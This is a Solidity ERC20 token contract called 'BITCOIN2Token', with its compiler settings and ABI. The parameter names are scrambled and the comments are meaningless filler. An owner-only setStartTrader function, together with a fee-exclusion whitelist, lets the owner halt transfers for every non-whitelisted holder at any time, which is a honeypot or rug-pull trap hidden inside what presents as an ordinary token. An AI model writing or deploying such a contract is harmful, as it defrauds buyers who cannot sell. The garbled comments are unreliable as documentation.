// SPDX-License-Identifier: MIT
// pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address acceufnzt) external view returns (uint256);
function transfer(address recipient,
uint256 amdousnt)
external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender,
uint256 amdousnt) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amdousnt ) external returns (bool);
event Transfer(address indexed from,
address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* devp Throws if account amountcalled by any account other amount than the accountowner.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* devp Throws if account amountcalled by any account other amount than the accountowner.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
pragma solidity =0.8.4;
contract BITCOIN2Token is IERC20, Ownable {
using SafeMath for uint256;
/**
* devp Throws if account amountcalled by any account other amount than the accountowner.
*/
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 public startTrader;
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_,
address owner_,
uint256 startTrader_
) payable {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
startTrader = startTrader_;
_totalSupply = totalSupply_ * 10**decimals_;
isExcludedFromFee[owner_] = true;
_balances[owner_] = _balances[owner_].add(_totalSupply);
emit Transfer(address(0), owner_, _totalSupply);
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
function balanceOf(address acceufnzt)
public
view
virtual
override
returns (uint256)
{
return _balances[acceufnzt];
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
function transfer(address recipient, uint256 amdousnt)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amdousnt);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
function approve(address spender, uint256 amdousnt)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amdousnt);
return true;
}
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amdousnt
) public virtual override returns (bool) {
_transfer(sender, recipient, amdousnt);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amdousnt,
"ERC20: transfer amdousnt exceeds allowance"
)
);
return true;
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
function _transfer(
address sender,
address recipient,
uint256 amdousnt
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(block.timestamp <= startTrader){
require(isExcludedFromFee[sender] || isExcludedFromFee[recipient],"has not started");
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
_balances[sender] = _balances[sender].sub(
amdousnt,
"ERC20: transfer amdousnt exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amdousnt);
emit Transfer(sender, recipient, amdousnt);
}
function _approve(
address owner,
address spender,
uint256 amdousnt
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amdousnt;
emit Approval(owner, spender, amdousnt);
}
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
function excludeMultipleacceufnztsFromFees(address[] calldata acceufnzts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < acceufnzts.length; i++) {
isExcludedFromFee[acceufnzts[i]] = excluded;
}
}
function setStartTrader(uint256 startTrader_) public onlyOwner {
startTrader = startTrader_;
}
}
{
"compilationTarget": {
"BITCOIN2Token.sol": "BITCOIN2Token"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"uint256","name":"startTrader_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amdousnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acceufnzt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"acceufnzts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleacceufnztsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"startTrader_","type":"uint256"}],"name":"setStartTrader","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrader","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amdousnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amdousnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]